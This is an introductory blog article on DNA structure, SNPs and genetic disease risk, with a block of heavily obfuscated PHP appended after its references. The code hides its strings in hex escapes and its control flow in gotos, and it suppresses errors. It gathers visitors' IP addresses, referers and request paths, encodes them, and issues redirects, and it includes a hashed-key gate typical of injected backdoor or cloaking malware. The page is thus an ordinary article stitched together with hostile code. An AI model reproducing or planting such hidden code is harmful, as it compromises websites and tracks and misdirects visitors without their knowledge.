Introduction to Genetics and DNA

Written by Lawrence Ng
Posted on December 19, 2018

Recently, we spoke to Dr Ng Zhi Xiang about how our genes may be responsible for certain diseases. With more than 10 years of experience in research, Dr Ng is an expert in linking genetics to diseases.

From our conversation with Dr Ng, it seems obvious that genetics are indeed responsible for many of the diseases that we as human beings face in our lifetime. However, in order to grasp the relationship between our genes and these diseases, we first have to understand the basics of genetics.

This article will serve as part 1 of our DNA Explorer series and explains the basics of genetics with the help of Dr Ng. To watch the webinar where we addressed this topic, click here.

What is DNA?

You may think of DNA as a magical substance in our body that seems to be responsible for everything that makes us who we are. Well, you wouldn’t be too far off.

DNA stands for deoxyribonucleic acid.

Our parents pass down their DNA to us and it contains information that shapes us into what we are today. The DNA is an incredibly important part of your body, arguably the most important component! It determines ALL the characteristics of a living being, be it plants, bacteria or large complex beings like ourselves. With the exception of identical twins, no other two human beings in the world have the exact same sequence of DNA.

To understand the role of DNA in our body, it is important to be familiar with its structure. There is a rule in biology that goes ‘structure equals function’ which means that knowing the structure of a molecule in the body will give you a pretty good idea about its function. DNA is a large information-carrying molecule in the shape of a double helix (think of a ladder that has been twisted repeatedly).

There are three components that goes into a DNA strand, a sugar, a phosphate molecule and one of 4 bases; Adenine (A), Thymine (T), Cytosine (C), Guanine (G).
DNA codes for the production of proteins and determines their structure and in turn, their function.

Figure 1: Structure of DNA (U.S. National Library of Medicine, 2018)

How are DNA responsible for the differences observed in us?

A trait, known scientifically as a phenotype, is the observable physical or biochemical characteristics of an individual. Some examples of phenotypes maybe the colour of your hair, eyes, skin, your height or even your blood group. These phenotypes are all coded by the DNA in your body.

So, what happens when there is a change in the genetic code? Well, you’ve guessed it! Although it is rare, a change in the DNA sequence may lead to a change in the phenotype as well. A change in phenotype is mostly caused by mutations or variations in the DNA, the most common of which, is the SNPs found in everyone.

What is an SNP?

A single nucleotide polymorphism (SNP; pronounced as ‘SNIP’) is a change in a single base in a gene that codes for a protein. This could lead to no change in phenotype or subtle or drastic changes to the phenotype. In a worst-case scenario, it may even make you more susceptible to certain diseases such as diabetes or the different types of cancer.

Figure 2: Single nucleotide polymorphism is a change in a single base in a gene. (Alv, 2017)

However, not all variation is bad.

Variation is an important factor for evolution and natural selection. Evolution relies on genetic variation that is passed down from one generation to the next. Organisms with favourable characteristics are selected, survive and their traits are passed on to the next generation. Think about it, if every human being on Earth has the same genetic makeup, a single disease could wipe out the entire human population!

The genetics of diseases

Genetic mutation refers to the permanent change in one or more specific genes. It can lead to the development of inherited genetic disorders such as sickle cell anaemia, cystic fibrosis, and early onset familial Alzheimer’s disease. So if a person inherits a copy of the genetic mutation that causes a certain disease from his/her parent, then he or she will usually get the disease.

On another hand, other diseases can be found to be associated with genetic variants. There can be many genes that are related to the disease, and one gene can have many variants. These variants can sometimes be found to be associated to an increased or decreased risk of a person developing the disease. When the genetic variant does not directly cause a disease but increases/decreases the disease risk, it is known as a genetic risk factor.

NOW that we’ve caught up with the basics of genetics, next we’ll be talking on some of the examples on how genetics are responsible for certain diseases. Stay tuned!!


References:

1. Steemit.com. (2018). Single Nucleotide Polymorphisms: Single Letter Changes in DNA Provide Road Signs to Map Human Traits. [online] Available at: https://steemit.com/biology/@alv/single-nucleotide-polymorphisms-single-letter-changes-in-dna-provide-road-signs-to-map-human-traits [Accessed 19 Dec. 2018].

2. Genetics Home Reference. (2018). What is DNA?. [online] Genetics Home Reference. Available at: https://ghr.nlm.nih.gov/primer/basics/dna [Accessed 19 Dec. 2018].

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>